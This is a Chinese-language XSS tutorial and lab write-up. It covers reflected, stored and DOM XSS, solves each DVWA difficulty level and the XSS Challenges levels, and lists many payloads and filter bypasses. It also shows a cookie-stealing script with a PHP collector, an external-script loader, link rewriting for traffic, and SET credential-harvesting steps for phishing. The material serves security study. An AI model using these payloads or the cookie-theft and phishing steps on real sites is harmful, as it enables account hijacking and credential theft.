xss介绍
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。
xss分类
1.反射型XSS(reflected)
反射型跨站脚本也称为非持久型、参数型跨站脚本。主要用于将恶意脚本附加到url地址的参数中.
反射型xss会诱导用户去访问一个包含恶意代码的url,当用户访问这些连接的时候,恶意的js代码会直接在受害者的浏览器上执行,他的特点是只在用户单击时触发,而且只执行一次,非持久化。
反射型XSS不会永久存储用户的数据,仅发生在用户的一次访问过程之后。这个过程就像一次反射,因此得名反射型XSS。反射型XSS的触发条件比较苛刻,需要攻击者想方设法引导用户点击链接,但产生的危害不容忽视。
2.存储型XSS(stored)
存储型XSS又叫持久型。一般而言,它三种XSS里危害最大的一种。此类型的XSS漏洞是由于恶意攻击代码被持久化保存到服务器上,然后被显示到HTML页面之中。这类漏洞经常出现在用户评论的页面,攻击者精心构造XSS代码,保存到数据库中,当其他用户再次访问这个页面时,就会触发并执行恶意的XSS代码,从而窃取用户的敏感信息。
3.DOM Based XSS
使用DOM可以使程序和脚本能够动态访问和更新文档的内容,结构及其样式。不与后台数据库产生交互,
DOM-basedXSS漏洞是基于文档对象模型(Document Object Model)的一种漏洞。这种XSS与反射型XSS、持久型XSS在原理上有本质区别,它的攻击代码并不需要服务器解析响应,触发XSS靠的是浏览器端的DOM解析。客户端上的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。
在客户端直接输出DOM内容的时候极易触发DOM型XSS漏洞
dvwa-xss
一.反射型
1.low(没有进行任何过滤)
payload:< script >alert("x");< /script>
成功弹出警告!存在xss
2.medium把(< script>用str_replace()函数替换为空了)
输入:< script >alert(“x”);< /script>
script被过滤了
绕过:
双写绕过
大小写绕过
3.high
$name = preg_replace( ‘/<(.)s(.)c(.)r(.)i(.)p(.)t/i’, ‘’, $_GET[ ‘name’ ] );
对任何模式的script都过滤了
换标签:
< svg onl oad="alert("xss")">
<img src=0 one rror=alert("xss")>
二.存储型
1.low没有进行过过滤
payload:<script>alert("x");</script>
函数扩展:
mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
stripslashes(string)
函数删除字符串中的反斜杠。
2. medium 级别
函数扩展:
strip_tags()
函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
返回:被剥离的字符串。
addslashes()
函数返回在预定义的字符前添加反斜杠的字符串。
单引号(')
双引号(")
反斜杠(\)
NULL
返回:已转义的字符串。
htmlspecialchars()
函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
$message = htmlspecialchars( $message ); 对masage特殊字符串转化成了html实体.无法从message处进行xss注入,但name处没有进行编码设置,仍存在xss
name处过滤了< script>
进行绕过:
1.双写srcipt标签
2.大小写绕过
3.换标签注入
3.high
对name进行
$name = preg_replace( ‘/<(.)s(.)c(.)r(.)i(.)p(.)t/i’, ‘’, $name );
所有形式的script标签都过滤,换标签
payload:
<svg onl oad=alert("xss")>
<img src=0 one rror=alert("xss")>
三.DOM-XSS
1.low没有过滤
?default=< script>alert(“xss”)</ script>
2.medium
输入的值会被现实在屏幕上,
注入:< script>alert(“x”);</ script>
页面没有现实,猜测,script被过滤了
换标签
使用stripos对< script>进行过滤,并且不区分大小写
payload:<svg onl oad=alert("xss")>
查看代码,发现还需要闭合option和select标签
闭合payload:</option></select><svg onl oad=alert("xss")>
3.high
3. high 级别
这里high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。此时,在URL中添加注释#注释的内容不会提交到服务器,而是在浏览器执行:
payload:English# <script>alert("x")</script>
4.impossible
注入的内容都会经过URL编码显示在输入框,经过URL编码的内容被放在HTML标签中,而没有经过解码。所以不存在注入。
XSS的攻击载荷
#弹出hello <script>alert(/hello/)</script> #弹出hello
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss
------------------------------
<svg>标签:
------------------------------
<svg onl oad="alert(1)">
<svg onl oad="alert(1)"//
------------------------------
<img>标签:
------------------------------
<img src=1 οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
------------------------------
<body>标签:
------------------------------
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
------------------------------
<video>标签:
------------------------------
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
------------------------------
<Style>标签:
------------------------------
<style οnlοad=alert(1)></style>
------------------------------
xss漏洞危害
|--->窃取cookie(利用cookie登录)
|--->网络钓鱼(克隆网站,网页钓鱼盗取账号密码)
|------->针对用户-->|--->放马挖矿(结合msf框架)
| |--->广告刷流量(网页篡改)
XSS----|
|
| |--->篡改页面,网页链接
|----->针对web服务->|--->传播蠕虫
|--->内网扫描
|--->劫持后台
* 网络钓鱼,包括盗取各类用户账号;
* 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步*对网站执行操作;
* 劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;
* 强制弹出广告页面、刷流量等;
* 网页挂马;进行恶意操作,例如任意篡改页面信息、删除文章等
进行大量的客户端攻击,如DDoS攻击;
* 获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;
控制受害者机器向其他网站发起攻击;
* 结合其他漏洞,如CSRF漏洞,实施进一步作恶;
提升用户权限,包括进一步渗透网站;
传播跨站脚本蠕虫等;
从以上我们可以知道,存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,
只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。
xss漏洞利用方式
1.窃取cookie
用dvwa测试
输入:< script>window.location=“http://127.0.0.1 /cookie.php?cookie=”+document.cookie< /script>
cookie.php中代码如下:
<?php
//js代码:<script>window.location="http://127.0.0.1/cookie.php?cookie="+document.cookie</script>
$myfile = fopen("cookie.txt", "w") or die("Unable to open file!");
$getcookie=$_GET["cookie"];
//echo $getcookie;
fwrite($myfile,$getcookie);
?>
这时候,cookie被写入攻击人的cookie.txt文件中,
此时,攻击者可以通过抓包修改cookie的方式,使用盗取的cookie来登录
2.篡改网页链接/刷流量
1.篡改网页链接
<script>
window.onload=function(){
var link=document.getElementsByTagName("a");
for(i=0;i<link.length;i++){
link[i].href="http://www.baidu.com";}
}
</script>
2.刷流量,这里吧百度,改为要刷流量的网址即可
盗取用于信息/xss钓鱼
1.用setoolkit克隆网站,
(1)在kali的终端上打开setoolkit
(2)选择第一个社会工程,选择社会工程之后接着有11个选项
(3)选择第二个网站向量,选择完之后有8个选项.
(4)选择第三个凭证收割方法,选择完之后有3个选项.
(5)选择第二个网站克隆.
(6)接着默认回车就行,默认使用kali的IP地址,即网站接收到的数据都返回到这个IP.
(7)输入要克隆网站的地址,这里我们用dvwa来举例,输入本机的dvwa网站的登录页面克隆
(8)网站克隆成功,访问虚拟机ip就是克隆好的网站
2.利用xss漏洞,跳转到克隆的站点
payload:<script>window.location="克隆的站点网址"</script>
利用dvwa存储型xss,钓鱼
此时用户点击到xss-store时就会弹出我们克隆的登录页面
用户输入用户名密码就会被setoolkit记录
3.用户输入用户名和密码,在setookit上记录下用户名,密码
用xss漏洞插入一段js代码,只不过这段代码我已经提前部署在xss平台里,这段js代码的功能就是 当xss代码被执行后,能弹出一个alert,提示你登陆过期,然后用一个frame 覆盖整个页面,然后呢这个frame的src是我们公网上搭的一个钓鱼页 ,当然我们得事先把这个钓鱼页做好。然后一般的人就认为可能真的“登陆过期”了,其实页面还是在之前那个xss页面,只不过呢 我们在当前页面生成一个frame 覆盖了整个页面。并且我们url是没有 跳转的,所以说,欺骗性是很强的。
在管理员看来这个登陆界面是正确的界面,其实是我们的钓鱼页
XSS可以插入在那些地方
*用户输入作为script标签内容
*用户输入作为HTML注释内容
*用户输入作为HTML标签的属性名
*用户输入作为HTML标签的属性值
*用户输入作为HTML标签的名字
*直接插入到CSS里
**通过上述可插入的位置可知:千万不要引入任何不可信的第三方JavaScript到页面里!
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->
#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx"> </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>
#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>
#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入 id="xx" />
<><script>alert('hack')</script><b id="xx" />
#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>
xss绕过方式-XSS Challenges靶场
靶场地址:http://xss-quiz.int21h.jp/
第一关:没有过滤的xss
payload:<script>alert(document.domain);</script>
第二关:属性中xss
需要闭合input标签和value的双引号,也可以引入事件
payload:
闭合属性:"><script>alert(document.domain);</script>
引入事件:" onm ouseover="alert(document.domain)">
第三关:选择列表的xss(标签内容)
可以看到,search中的内容,被转义后原样输出,不存在xss,可以考虑后面的选择列表
payload:
Japan<script>alert(document.domain);</script>
Japan</option><script>alert(document.domain);</script>
成功执行xss脚本
第4关:隐藏标签中的xss+闭合属性值
查看前端代码看到 有一个隐藏的input标签,value可以提交参数
抓包得到
这里可以闭合value属性,注入xss脚本
payload:
hackme:><scirpt>alert(document.doamin)</script>
第五关:前端长度限制+闭合属性值
这里修改长度限制,然后闭合value标签
payload:"><script>alert(document.domain);</script>
第六关:html实体转移+onmouseover事件触发xss
这里看到标签的<>被转义为html字符实体,不能成功执行,需要一个不需要尖括号的payload ,这里用onmouseover事件触发xss
payload:" onm ouseover=alert(document.domian)
成功触发xss
第七关:空格分隔属性+事件触发+原样输出绕过
这里可以看到,我们输入的内容全部被当做value的值输出出来,闭合不了value属性值,所以换一种思路,用事件触发xss
因为输入空格前的值,也就是mouse前的空格的值都会被双引号包裹原样输出,这里不需要闭合value的双引号也可以
这里构造payload
payload:qwe onm ouseover=alert(document.domain)
成功触发xss
第八关:javascript伪协议触发xss
JavaScript伪协议介绍:
javascript:这个特殊的协议类型声明了URL的主体是任意的javascript
代码它由javascript的解释器运行
将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。
javascript URL还可以含有只执行动作,但不返回值的javascript语句。例如:
javascript:alert(“hello world!”)
我们输入的值,被转为一个超链接
尝试闭合a标签
</a><script>alert(document.domain);</script>
被原样输出,点击跳转到404页面,所以不能够构造xss
用JavaScript伪协议构造payload,构造xss
payload:javascript:alert(document.domain);
要执行多个语句,要用分号隔开,这里在弹出cookie
第十关:关键字domain被过滤+双写绕过/编码绕过
url:http://xss-quiz.int21h.jp/stage00010.php?sid=718360225fa9356a42c30995f38b5142c3496f6a
双写绕过
payload:"><script>alert(document.domdomainain)</script>
编码绕过:
函数扩展:
eval() 函数
可计算某个字符串,并执行其中的的 JavaScript 代码。
atob() 方法
用于解码使用 base-64 编码的字符串。
把base64编码转化为字符串
构造payload:
payload:"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
atob里的是要执行的语句,不带分号
第十一关:script和on事件间过滤,js伪协议+空格绕过过滤
将script,on[a-z],style都过滤了
要将script中的某个字符转为unicode编码,或者可以插入 不可见字符或者空格
payload:"><a href="javascr	ipt:alert(document.domain);">12</a>
第十二关:ie+反引号闭合过滤
<>“被过滤,根据提示可以知道x00-,x20,& lt;,& gt;,”,'都被过滤了,但是反引号还没被过滤,于是可以用加上onclick,onmouseover,onfocus均可,还有一个前提是IE,只有IE才有这个特性
payload: ``onfocus=alert(document.domain)
第十三关:ie+css特性expression绕过
字符串都进行了转义,原样输出
把所有输入的
在CSS样式中利用expression实现javascript中的onmouseover或onmouseout事件,同样前提是IE
1:expression(onmouseover=function(){alert(document.domain)})
2:background-color:salmon;input:expression((window.x==1)?'':(window.x=1,alert(document.domain)))
第十四关:ie+expression过滤+//绕过**
css执行js:
IE5-7版本支持在CSS中使用expression,用来把CSS属性和Javas cript表达式关联起来,这里的CSS属性可以是元素固有的属性,也可以是自定义属性。就是说CSS属性后面可以是一段Javas cript表达式。
1: xss:expre/**/ssion(οnmοuseοver=function(){alert(document.domain)})
必须要xss:属性是随意的可以为a:
2:background-color:salmon;input:e/**/xpression((window.x==1)?’’:(window.x=1,alert(document.domain)))